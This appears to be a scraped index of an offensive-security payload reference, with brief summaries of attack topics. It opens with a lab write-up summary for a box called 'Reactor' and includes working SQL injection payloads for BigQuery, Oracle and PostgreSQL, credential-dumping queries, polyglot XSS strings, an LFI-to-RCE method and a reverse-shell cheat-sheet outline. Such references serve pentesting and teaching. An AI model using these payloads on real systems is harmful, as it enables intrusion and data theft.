bokkapig

Reactor

Tue, 04 Aug 2026 14:45:21 +0100

A ReactorWatch monitoring dashboard on port 3000 runs Next.js 15.0.3 with React 19.0.0 — vulnerable to React2Shell (CVE-2025-55182 / CVE-2025-66478), an unauthenticated RCE in the React Server Components Flight deserializer. A POST to / carrying a Next-Action header and a forged circular Flight chunk reaches Function via $1:constructor:constructor, giving code execution as the node service account. The app’s world-readable SQLite database yields engineer’s MD5 password hash, reused verbatim for SSH. Root comes from a root-owned uptime-monitor systemd unit launched with –inspect=127.0.0.1:9229: the Node debug port is an unauthenticated root eval primitive, driven over the Chrome DevTools Protocol.

.NET Deserialization

Mon, 03 Aug 2026 23:13:12 +0200

.NET serialization is the process of converting an object’s state into a format that can be easily stored or transmitted, such as XML, JSON, or binary. This serialized data can then be saved to a file, sent over a network, or stored in a database. Later, it can be deserialized to reconstruct the original object with its data intact. Serialization is widely used in .NET for tasks like caching, data transfer between applications, and session state management.

Active Directory Attacks

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/active-directory

Application Escape and Breakout

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/escape-breakout

Bazaar

Mon, 03 Aug 2026 23:13:12 +0200

Bazaar (also known as bzr ) is a free, distributed version control system (DVCS) that helps you track project history over time and collaborate seamlessly with others. Developed by Canonical, Bazaar emphasizes ease of use, a flexible workflow, and rich features to cater to both individual developers and large teams.

Tools#

rip-bzr.pl#

kost/dvcs-ripper/rip-bzr.pl

Bind Shell

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/shell-bind

Books

Mon, 03 Aug 2026 23:13:12 +0200

Grab a book and relax. Some of the best books in the industry.

Wiley:

Leanpub:

Bug Hunting Methodology and Enumeration

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/methodology/bug-hunting-methodology

Summary#

Passive Recon
- Shodan
- Wayback Machine
- The Harvester
- Github OSINT
Active Recon
- Network discovery
- Web discovery
Web Vulnerabilities

Cassandra Injection

Mon, 03 Aug 2026 23:13:12 +0200

Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system.

Summary#

CQL Injection Limitations
Cassandra Comment
Cassandra Login Bypass
- Example #1
- Example #2
References

CQL Injection Limitations#

Cassandra is a non-relational database, so CQL doesn’t support JOIN or UNION statements, which makes cross-table queries more challenging.
Additionally, Cassandra lacks convenient built-in functions like DATABASE() or USER() for retrieving database metadata.

Cloud - AWS

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cloud/aws

Cloud - Azure

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cloud/azure

Cobalt Strike

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/command-control/cobalt-strike

Common WAF Bypass

Mon, 03 Aug 2026 23:13:12 +0200

WAFs are designed to filter out malicious content by inspecting incoming and outgoing traffic for patterns indicative of attacks. Despite their sophistication, WAFs often struggle to keep up with the diverse methods attackers use to obfuscate and modify their payloads to circumvent detection.

Summary#

Cloudflare
Chrome Auditor
Incapsula WAF
Akamai WAF
WordFence WAF
Fortiweb WAF

Cloudflare#

25st January 2021 - @Bohdan Korzhynskyi

Container - Docker

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/containers/docker

Container - Kubernetes

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/containers/kubernetes/

CSP Bypass

Mon, 03 Aug 2026 23:13:12 +0200

A Content Security Policy (CSP) is a security feature that helps prevent cross-site scripting (XSS), data injection attacks, and other code-injection vulnerabilities in web applications. It works by specifying which sources of content (like scripts, styles, images, etc.) are allowed to load and execute on a webpage.

Summary#

Tools
Bypass CSP using JSONP
Bypass CSP default-src
Bypass CSP inline eval
Bypass CSP unsafe-inline
Bypass CSP script-src self
Bypass CSP script-src data
Bypass CSP nonce
Bypass CSP header sent by PHP
Labs
References

Tools#

gmsgadget.com - GMSGadget (Give Me a Script Gadget) is a collection of JavaScript gadgets that can be used to bypass XSS mitigations such as Content Security Policy (CSP) and HTML sanitizers like DOMPurify.
csp-evaluator.withgoogle.com - CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site scripting attacks.

Bypass CSP using JSONP#

Requirements:

CVE-2021-44228 Log4Shell

Mon, 03 Aug 2026 23:13:12 +0200

Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled

Summary#

Vulnerable code
Payloads
Scanning
WAF Bypass
Exploitation
- Environment variables exfiltration
- Remote Command Execution
References

Vulnerable code#

You can reproduce locally with: docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app using christophetd/log4shell-vulnerable-app or leonjza/log4jpwn

DB2 Injection

Mon, 03 Aug 2026 23:13:12 +0200

IBM DB2 is a family of relational database management systems (RDBMS) developed by IBM. Originally created in the 1980s for mainframes, DB2 has evolved to support various platforms and workloads, including distributed systems, cloud environments, and hybrid deployments.

Summary#

DB2 Comments
DB2 Default Databases
DB2 Enumeration
DB2 Methodology
DB2 Error Based
DB2 Blind Based
DB2 Time Based
DB2 Command Execution
DB2 WAF Bypass
DB2 Accounts and Privileges
References

DB2 Comments#

Type	Description
`--`	SQL comment

DB2 Default Databases#

Name	Description
SYSIBM	Core system catalog tables storing metadata for database objects.
SYSCAT	User-friendly views for accessing metadata in the SYSIBM tables.
SYSSTAT	Statistics tables used by the DB2 optimizer for query optimization.
SYSPUBLIC	Metadata about objects available to all users (granted to PUBLIC).
SYSIBMADM	Administrative views for monitoring and managing the database system.
SYSTOOLs	Tools, utilities, and auxiliary objects provided for database administration and troubleshooting.

DB2 Enumeration#

Description	SQL Query
DBMS version	`select versionnumber, version_timestamp from sysibm.sysversions;`
DBMS version	`select service_level from table(sysproc.env_get_inst_info()) as instanceinfo`
DBMS version	`select getvariable('sysibm.version') from sysibm.sysdummy1`
DBMS version	`select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo`
DBMS version	`select service_level,bld_level from sysibmadm.env_inst_info`
Current user	`select user from sysibm.sysdummy1`
Current user	`select session_user from sysibm.sysdummy1`
Current user	`select system_user from sysibm.sysdummy1`
Current database	`select current server from sysibm.sysdummy1`
OS info	`select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info`

DB2 Methodology#

Description	SQL Query
List databases	`SELECT distinct(table_catalog) FROM sysibm.tables`
List databases	`SELECT schemaname FROM syscat.schemata;`
List columns	`SELECT name, tbname, coltype FROM sysibm.syscolumns`
List tables	`SELECT table_name FROM sysibm.tables`
List tables	`SELECT name FROM sysibm.systables`
List tables	`SELECT tbname FROM sysibm.syscolumns WHERE name='username'`

DB2 Error Based#

-- Returns all in one xml-formatted string
select xmlagg(xmlrow(table_schema)) from sysibm.tables

-- Same but without repeated elements
select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables)

-- Returns all in one xml-formatted string.
-- May need CAST(xml2clob(… AS varchar(500)) to display the result.
select xml2clob(xmelement(name t, table_schema)) from sysibm.tables

Description	SQL Query
Substring	`select substr('abc',2,1) FROM sysibm.sysdummy1`
ASCII value	`select chr(65) from sysibm.sysdummy1`
CHAR to ASCII	`select ascii('A') from sysibm.sysdummy1`
Select Nth Row	`select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only`
Bitwise AND	`select bitand(1,0) from sysibm.sysdummy1`
Bitwise AND NOT	`select bitandnot(1,0) from sysibm.sysdummy1`
Bitwise OR	`select bitor(1,0) from sysibm.sysdummy1`
Bitwise XOR	`select bitxor(1,0) from sysibm.sysdummy1`
Bitwise NOT	`select bitnot(1,0) from sysibm.sysdummy1`

DB2 Time Based#

Heavy queries, if user starts with ascii 68 (‘D’), the heavy query will be executed, delaying the response.

Git

Mon, 03 Aug 2026 23:13:12 +0200

Summary#

Methodology
- Recovering file contents from .git/logs/HEAD
- Recovering file contents from .git/index
Tools
- Automatic recovery
  - git-dumper.py
  - diggit.py
  - GoGitDumper
  - rip-git
  - GitHack
  - GitTools
- Harvesting secrets
  - noseyparker
  - trufflehog
  - Yar
  - Gitrob
  - Gitleaks
References

Methodology#

The following examples will create either a copy of the .git or a copy of the current commit.

Check for the following files, if they exist you can extract the .git folder.

Google BigQuery SQL Injection

Mon, 03 Aug 2026 23:13:12 +0200

Google BigQuery SQL Injection is a type of security vulnerability where an attacker can execute arbitrary SQL queries on a Google BigQuery database by manipulating user inputs that are incorporated into SQL queries without proper sanitization. This can lead to unauthorized data access, data manipulation, or other malicious activities.

Summary#

Detection
BigQuery Comment
BigQuery Union Based
BigQuery Error Based
BigQuery Boolean Based
BigQuery Time Based
References

Detection#

Use a classic single quote to trigger an error: '
Identify BigQuery using backtick notation: SELECT .... FROM `` AS ...

SQL Query	Description
`SELECT @@project_id`	Gathering project id
`SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA`	Gathering all dataset names
`select * from project_id.dataset_name.table_name`	Gathering data from specific project id & dataset

BigQuery Comment#

Type	Description
`#`	Hash comment
`/* PostgreSQL Comment */`	C-style comment

BigQuery Union Based#

UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT 'asd'),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
true) GROUP BY column_name LIMIT 1 UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
' GROUP BY column_name UNION ALL SELECT column_name,1,1 FROM (select column_name AS new_name from `project_id.dataset_name.table_name`) AS A GROUP BY column_name#

BigQuery Error Based#

SQL Query	Description
`' OR if(1/(length((select('a')))-1)=1,true,false) OR '`	Division by zero
`select CAST(@@project_id AS INT64)`	Casting

BigQuery Boolean Based#

' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#

BigQuery Time Based#

Time based functions does not exist in the BigQuery syntax.

References#

Hash Cracking

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/hash-cracking

HTML Smuggling

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/access/html-smuggling

IIS Machine Keys

Mon, 03 Aug 2026 23:13:12 +0200

That machine key is used for encryption and decryption of forms authentication cookie data and view-state data, and for verification of out-of-process session state identification.

Summary#

Viewstate Format
Machine Key Format And Locations
Identify Known Machine Key
Decode ViewState
Generate ViewState For RCE
Edit Cookies With The Machine Key
References

Viewstate Format#

ViewState in IIS is a technique used to retain the state of web controls between postbacks in ASP.NET applications. It stores data in a hidden field on the page, allowing the page to maintain user input and other state information.

Inclusion Using Wrappers

Mon, 03 Aug 2026 23:13:12 +0200

A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.

Summary#

Wrapper php://filter
Wrapper data://
Wrapper expect://
Wrapper input://
Wrapper zip://
Wrapper phar://
- PHAR Archive Structure
- PHAR Deserialization
Wrapper convert.iconv:// and dechunk://
- Leak file content from error-based oracle
- Leak file content inside a custom format output
References

Wrapper php://filter#

The part “php://filter” is case insensitive

Initial Access

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/access/initial-access

Java Deserialization

Mon, 03 Aug 2026 23:13:12 +0200

Java serialization is the process of converting a Java object’s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the Serializable interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.

Summary#

Detection
Tools
YAML Deserialization
ViewState
References

Detection#

"AC ED 00 05" in Hex
- AC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.
- 00 05: STREAM_VERSION. The serialization version.
"rO0" in Base64
Content-Type = “application/x-java-serialized-object”
"H4sIAAAAAAAAAJ" in gzip(base64)

Tools#

Ysoserial#

frohoff/ysoserial : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

LFI to RCE

Mon, 03 Aug 2026 23:13:12 +0200

LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).

Summary#

LFI to RCE via /proc/*/fd
LFI to RCE via /proc/self/environ
LFI to RCE via iconv
LFI to RCE via upload
LFI to RCE via upload (race)
LFI to RCE via upload (FindFirstFile)
LFI to RCE via phpinfo()
LFI to RCE via controlled log file
LFI to RCE via PHP sessions
LFI to RCE via PHP PEARCMD
LFI to RCE via Credentials Files

LFI to RCE via /proc/*/fd#

Upload a lot of shells (for example : 100)
Include /proc/$PID/fd/$FD where $PID is the PID of the process and $FD the filedescriptor. Both of them can be bruteforced.

http://example.com/index.php?page=/proc/$PID/fd/$FD

LFI to RCE via /proc/self/environ#

Like a log file, send the payload in the User-Agent header, it will be reflected inside the /proc/self/environ file

Linux - Evasion

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/access/initial-access

Linux - Persistence

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/persistence/linux-persistence

Linux - Privilege Escalation

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/persistence/linux-persistence

Mercurial

Mon, 03 Aug 2026 23:13:12 +0200

Mercurial (also known as hg from the chemical symbol for mercury) is a distributed version control system (DVCS) designed for efficiency and scalability. Developed by Matt Mackall and first released in 2005, Mercurial is known for its speed, simplicity, and ability to handle large codebases.

Summary#

Tools
- rip-hg.pl
References

Tools#

rip-hg.pl#

kost/dvcs-ripper/master/rip-hg.pl - Rip web accessible (distributed) version control systems: SVN/GIT/HG…

Metasploit

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/command-control/metasploit

MFA Bypasses

Mon, 03 Aug 2026 23:13:12 +0200

Multi-Factor Authentication (MFA) is a security measure that requires users to provide two or more verification factors to gain access to a system, application, or network. It combines something the user knows (like a password), something they have (like a phone or security token), and/or something they are (biometric verification). This layered approach enhances security by making unauthorized access more difficult, even if a password is compromised. MFA Bypasses are techniques attackers use to circumvent MFA protections. These methods can include exploiting weaknesses in MFA implementations, intercepting authentication tokens, leveraging social engineering to manipulate users or support staff, or exploiting session-based vulnerabilities.

MSSQL Injection

Mon, 03 Aug 2026 23:13:12 +0200

MSSQL Injection is a type of security vulnerability that can occur when an attacker can insert or “inject” malicious SQL code into a query executed by a Microsoft SQL Server (MSSQL) database. This typically happens when user inputs are directly included in SQL queries without proper sanitization or parameterization. SQL Injection can lead to serious consequences such as unauthorized data access, data manipulation, and even gaining control over the database server.

MSSQL Server

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/mssql-server-cheatsheet

MySQL Injection

Mon, 03 Aug 2026 23:13:12 +0200

MySQL Injection is a type of security vulnerability that occurs when an attacker is able to manipulate the SQL queries made to a MySQL database by injecting malicious input. This vulnerability is often the result of improperly handling user input, allowing attackers to execute arbitrary SQL code that can compromise the database’s integrity and security.

Summary#

MYSQL Default Databases
MYSQL Comments
MYSQL Testing Injection
MYSQL Union Based
MYSQL Error Based
MYSQL Blind
MYSQL Time Based
- Using SLEEP in a Subselect
- Using Conditional Statements
MYSQL DIOS - Dump in One Shot
MYSQL Current Queries
MYSQL Read Content of a File
MYSQL Command Execution
MYSQL INSERT
MYSQL Truncation
MYSQL Out of Band
- DNS Exfiltration
- UNC Path - NTLM Hash Stealing
MYSQL WAF Bypass
References

MYSQL Default Databases#

Name	Description
mysql	Requires root privileges
information_schema	Available from version 5 and higher

MYSQL Comments#

MySQL comments are annotations in SQL code that are ignored by the MySQL server during execution.

Network Discovery

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/network-discovery

Network Pivoting Techniques

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/pivoting/network-pivoting-techniques

Node Deserialization

Mon, 03 Aug 2026 23:13:12 +0200

Node.js deserialization refers to the process of reconstructing JavaScript objects from a serialized format, such as JSON, BSON, or other formats that represent structured data. In Node.js applications, serialization and deserialization are commonly used for data storage, caching, and inter-process communication.

Summary#

Methodology
- node-serialize
- funcster
References

Methodology#

In Node source code, look for:
- node-serialize
- serialize-to-js
- funcster

node-serialize#

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Untrusted data passed into the unserialize() function can be exploited to achieve arbitrary code execution by passing a JavaScript Object with an Immediately Invoked Function Expression (IIFE).

Office - Attacks

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/redteam/access/office-attacks

Oracle SQL Injection

Mon, 03 Aug 2026 23:13:12 +0200

Oracle SQL Injection is a type of security vulnerability that arises when attackers can insert or “inject” malicious SQL code into SQL queries executed by Oracle Database. This can occur when user inputs are not properly sanitized or parameterized, allowing attackers to manipulate the query logic. This can lead to unauthorized access, data manipulation, and other severe security implications.

Summary#

Oracle SQL Default Databases
Oracle SQL Comments
Oracle SQL Enumeration
Oracle SQL Database Credentials
Oracle SQL Methodology
Oracle SQL Error Based
Oracle SQL Blind
- Oracle Blind With Substring Equivalent
Oracle SQL Time Based
Oracle SQL Out of Band
Oracle SQL Command Execution
- Oracle Java Execution
- Oracle Java Class
OracleSQL File Manipulation
References

Oracle SQL Default Databases#

Name	Description
SYSTEM	Available in all versions
SYSAUX	Available in all versions

Oracle SQL Comments#

Type	Comment
Single-Line Comment	`--`
Multi-Line Comment	`/**/`

Oracle SQL Enumeration#

Description	SQL Query
DBMS version	`SELECT user FROM dual UNION SELECT * FROM v$version`
DBMS version	`SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';`
DBMS version	`SELECT banner FROM v$version WHERE banner LIKE 'TNS%';`
DBMS version	`SELECT BANNER FROM gv$version WHERE ROWNUM = 1;`
DBMS version	`SELECT version FROM v$instance;`
Hostname	`SELECT UTL_INADDR.get_host_name FROM dual;`
Hostname	`SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual;`
Hostname	`SELECT UTL_INADDR.get_host_address FROM dual;`
Hostname	`SELECT host_name FROM v$instance;`
Database name	`SELECT global_name FROM global_name;`
Database name	`SELECT name FROM V$DATABASE;`
Database name	`SELECT instance_name FROM V$INSTANCE;`
Database name	`SELECT SYS.DATABASE_NAME FROM DUAL;`
Database name	`SELECT sys_context('USERENV', 'CURRENT_SCHEMA') FROM dual;`

Oracle SQL Database Credentials#

Query	Description
`SELECT username FROM all_users;`	Available on all versions
`SELECT name, password from sys.user$;`	Privileged, <= 10g
`SELECT name, spare4 from sys.user$;`	Privileged, <= 11g

Oracle SQL Methodology#

Oracle SQL List Databases#

SELECT DISTINCT owner FROM all_tables;
SELECT OWNER FROM (SELECT DISTINCT(OWNER) FROM SYS.ALL_TABLES)

Oracle SQL List Tables#

SELECT table_name FROM all_tables;
SELECT owner, table_name FROM all_tables;
SELECT owner, table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%';
SELECT OWNER,TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='<DBNAME>'

Oracle SQL List Columns#

SELECT column_name FROM all_tab_columns WHERE table_name = 'blah';
SELECT COLUMN_NAME,DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='<TABLE_NAME>' AND OWNER='<DBNAME>'

Oracle SQL Error Based#

Description	Query
Invalid HTTP Request	`SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual`
CTXSYS.DRITHSX.SN	`SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual`
Invalid XPath	`SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual`
Invalid XML	`SELECT to_char(dbms_xmlgen.getxml('select "'\|\|(select user from sys.dual)\|\|'" FROM sys.dual')) FROM dual`
Invalid XML	`SELECT rtrim(extract(xmlagg(xmlelement("s", username \|\| ',')),'/s').getstringval(),',') FROM all_users`
SQL Error	`SELECT NVL(CAST(LENGTH(USERNAME) AS VARCHAR(4000)),CHR(32)) FROM (SELECT USERNAME,ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=1))`
XDBURITYPE getblob	`XDBURITYPE((SELECT banner FROM v$version WHERE banner LIKE 'Oracle%')).getblob()`
XDBURITYPE getclob	`XDBURITYPE((SELECT table_name FROM (SELECT ROWNUM r,table_name FROM all_tables ORDER BY table_name) WHERE r=1)).getclob()`
XMLType	`AND 1337=(SELECT UPPER(XMLType(CHR(60)\|\|CHR(58)\|\|'~'\|\|(REPLACE(REPLACE(REPLACE(REPLACE((SELECT banner FROM v$version),' ','_'),'$','(DOLLAR)'),'@','(AT)'),'#','(HASH)'))\|\|'~'\|\|CHR(62))) FROM DUAL) -- -`
DBMS_UTILITY	`AND 1337=DBMS_UTILITY.SQLID_TO_SQLHASH('~'\|\|(SELECT banner FROM v$version)\|\|'~') -- -`

When the injection point is inside a string use : '||PAYLOAD--

PHP Deserialization

Mon, 03 Aug 2026 23:13:12 +0200

PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope.

Polyglot XSS

Mon, 03 Aug 2026 23:13:12 +0200

A polyglot XSS is a type of cross-site scripting (XSS) payload designed to work across multiple contexts within a web application, such as HTML, JavaScript, and attributes. It exploits the application’s inability to properly sanitize input in different parsing scenarios.

Polyglot XSS - 0xsobky

jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e

Polyglot XSS - Ashar Javed

">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm&lpar; 1)"/alt="/"src="/refs/payloads/xss-injection/"onerror=eval(id&%23x29;>'"><img src="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/http%3A%20/i.imgur.com/P8mL8.jpg">

Polyglot XSS - Mathias Karlsson

" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//

Polyglot XSS - Rsnake

PostgreSQL Injection

Mon, 03 Aug 2026 23:13:12 +0200

PostgreSQL SQL injection refers to a type of security vulnerability where attackers exploit improperly sanitized user input to execute unauthorized SQL commands within a PostgreSQL database.

Summary#

PostgreSQL Comments
PostgreSQL Enumeration
PostgreSQL Methodology
PostgreSQL Error Based
- PostgreSQL XML Helpers
PostgreSQL Blind
- PostgreSQL Blind With Substring Equivalent
PostgreSQL Time Based
PostgreSQL Out of Band
PostgreSQL Stacked Query
PostgreSQL File Manipulation
- PostgreSQL File Read
- PostgreSQL File Write
PostgreSQL Command Execution
- Using COPY TO/FROM PROGRAM
- Using libc.so.6
PostgreSQL WAF Bypass
- Alternative to Quotes
PostgreSQL Privileges
- PostgreSQL List Privileges
- PostgreSQL Superuser Role
References

PostgreSQL Comments#

Type	Comment
Single-Line Comment	`--`
Multi-Line Comment	`/**/`

PostgreSQL Enumeration#

Description	SQL Query
DBMS version	`SELECT version()`
Database Name	`SELECT CURRENT_DATABASE()`
Database Schema	`SELECT CURRENT_SCHEMA()`
List PostgreSQL Users	`SELECT usename FROM pg_user`
List Password Hashes	`SELECT usename, passwd FROM pg_shadow`
List DB Administrators	`SELECT usename FROM pg_user WHERE usesuper IS TRUE`
Current User	`SELECT user;`
Current User	`SELECT current_user;`
Current User	`SELECT session_user;`
Current User	`SELECT usename FROM pg_user;`
Current User	`SELECT getpgusername();`

PostgreSQL Methodology#

Description	SQL Query
List Schemas	`SELECT DISTINCT(schemaname) FROM pg_tables`
List Databases	`SELECT datname FROM pg_database`
List Tables	`SELECT table_name FROM information_schema.tables`
List Tables	`SELECT table_name FROM information_schema.tables WHERE table_schema='<SCHEMA_NAME>'`
List Tables	`SELECT tablename FROM pg_tables WHERE schemaname = '<SCHEMA_NAME>'`
List Columns	`SELECT column_name FROM information_schema.columns WHERE table_name='data_table'`

PostgreSQL Error Based#

Name	Payload
CAST	`AND 1337=CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC) -- -`
CAST	`AND (CAST('~'\|\|(SELECT version())::text\|\|'~' AS NUMERIC)) -- -`
CAST	`AND CAST((SELECT version()) AS INT)=1337 -- -`
CAST	`AND (SELECT version())::int=1 -- -`

CAST(chr(126)||VERSION()||chr(126) AS NUMERIC)
CAST(chr(126)||(SELECT table_name FROM information_schema.tables LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset)||chr(126) AS NUMERIC)--
CAST(chr(126)||(SELECT data_column FROM data_table LIMIT 1 offset data_offset)||chr(126) AS NUMERIC)

' and 1=cast((SELECT concat('DATABASE: ',current_database())) as int) and '1'='1
' and 1=cast((SELECT table_name FROM information_schema.tables LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT column_name FROM information_schema.columns WHERE table_name='data_table' LIMIT 1 OFFSET data_offset) as int) and '1'='1
' and 1=cast((SELECT data_column FROM data_table LIMIT 1 OFFSET data_offset) as int) and '1'='1

PostgreSQL XML Helpers#

SELECT query_to_xml('select * from pg_user',true,true,''); -- returns all the results as a single xml row

The query_to_xml above returns all the results of the specified query as a single result. Chain this with the PostgreSQL Error Based technique to exfiltrate data without having to worry about LIMITing your query to one result.

Powershell

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cheatsheets/powershell

Python Deserialization

Mon, 03 Aug 2026 23:13:12 +0200

Python deserialization is the process of reconstructing Python objects from serialized data, commonly done using formats like JSON, pickle, or YAML. The pickle module is a frequently used tool for this in Python, as it can serialize and deserialize complex Python objects, including custom classes.

Summary#

Tools
Methodology
- Pickle
- PyYAML
References

Tools#

j0lt-github/python-deserialization-attack-payload-generator - Serialized payload for deserialization RCE attack on python driven applications where pickle,PyYAML, ruamel.yaml or jsonpickle module is used for deserialization of serialized data.

Methodology#

In Python source code, look for these sinks:

Reverse Shell Cheat Sheet

Mon, 03 Aug 2026 23:13:12 +0200

:warning: Content of this page has been moved to InternalAllTheThings/cheatsheet/shell-reverse

Tools
Reverse Shell
- Awk
- Automatic Reverse Shell Generator
- Bash TCP
- Bash UDP
- C
- Dart
- Golang
- Groovy Alternative 1
- Groovy
- Java Alternative 1
- Java Alternative 2
- Java
- Lua
- Ncat
- Netcat OpenBsd
- Netcat BusyBox
- Netcat Traditional
- NodeJS
- OGNL
- OpenSSL
- Perl
- PHP
- Powershell
- Python
- Ruby
- Rust
- Socat
- Telnet
- War
Meterpreter Shell
Spawn TTY Shell
References

Ruby Deserialization

Mon, 03 Aug 2026 23:13:12 +0200

Ruby deserialization is the process of converting serialized data back into Ruby objects, often using formats like YAML, Marshal, or JSON. Ruby’s Marshal module, for instance, is commonly used for this, as it can serialize and deserialize complex Ruby objects.

Summary#

Marshal Deserialization
YAML Deserialization
References

Marshal Deserialization#

Script to generate and verify the deserialization gadget chain against Ruby 2.0 through to 2.5

Server Side Template Injection - ASP.NET

Mon, 03 Aug 2026 23:13:12 +0200

Server-Side Template Injection (SSTI) is a class of vulnerabilities where an attacker can inject malicious input into a server-side template, causing the template engine to execute arbitrary code on the server. In the context of ASP.NET, SSTI can occur if user input is directly embedded into a template (such as Razor, ASPX, or other templating engines) without proper sanitization.

Summary#

ASP.NET Razor
- ASP.NET Razor - Basic Injection
- ASP.NET Razor - Command Execution
References

ASP.NET Razor#

Official website

Server Side Template Injection - Elixir

Mon, 03 Aug 2026 23:13:12 +0200

Server-Side Template Injection (SSTI) is a vulnerability that arises when an attacker can inject malicious code into a server-side template, causing the server to execute arbitrary commands. In Elixir, SSTI can occur when using templating engines like EEx (Embedded Elixir), especially when user input is incorporated into templates without proper sanitization or validation.

Summary#

Templating Libraries
Universal Payloads
EEx
References

Templating Libraries#

Template Name	Payload Format
EEx	`<%= %>`
LEEx	`<%= %>`
HEEx	`<%= %>`

Universal Payloads#

Generic code injection payloads work for many Elixir-based template engines, such as EEx, LEEx and HEEx.

Server Side Template Injection - Java

Mon, 03 Aug 2026 23:13:12 +0200

Server-Side Template Injection (SSTI) is a security vulnerability that occurs when user input is embedded into server-side templates in an unsafe manner, allowing attackers to inject and execute arbitrary code. In Java, SSTI can be particularly dangerous due to the power and flexibility of Java-based templating engines such as JSP (JavaServer Pages), Thymeleaf, and FreeMarker.

Summary#

Templating Libraries
Java EL
- Java EL - Basic Injection
- Java EL - Code Execution
Freemarker
Jinjava
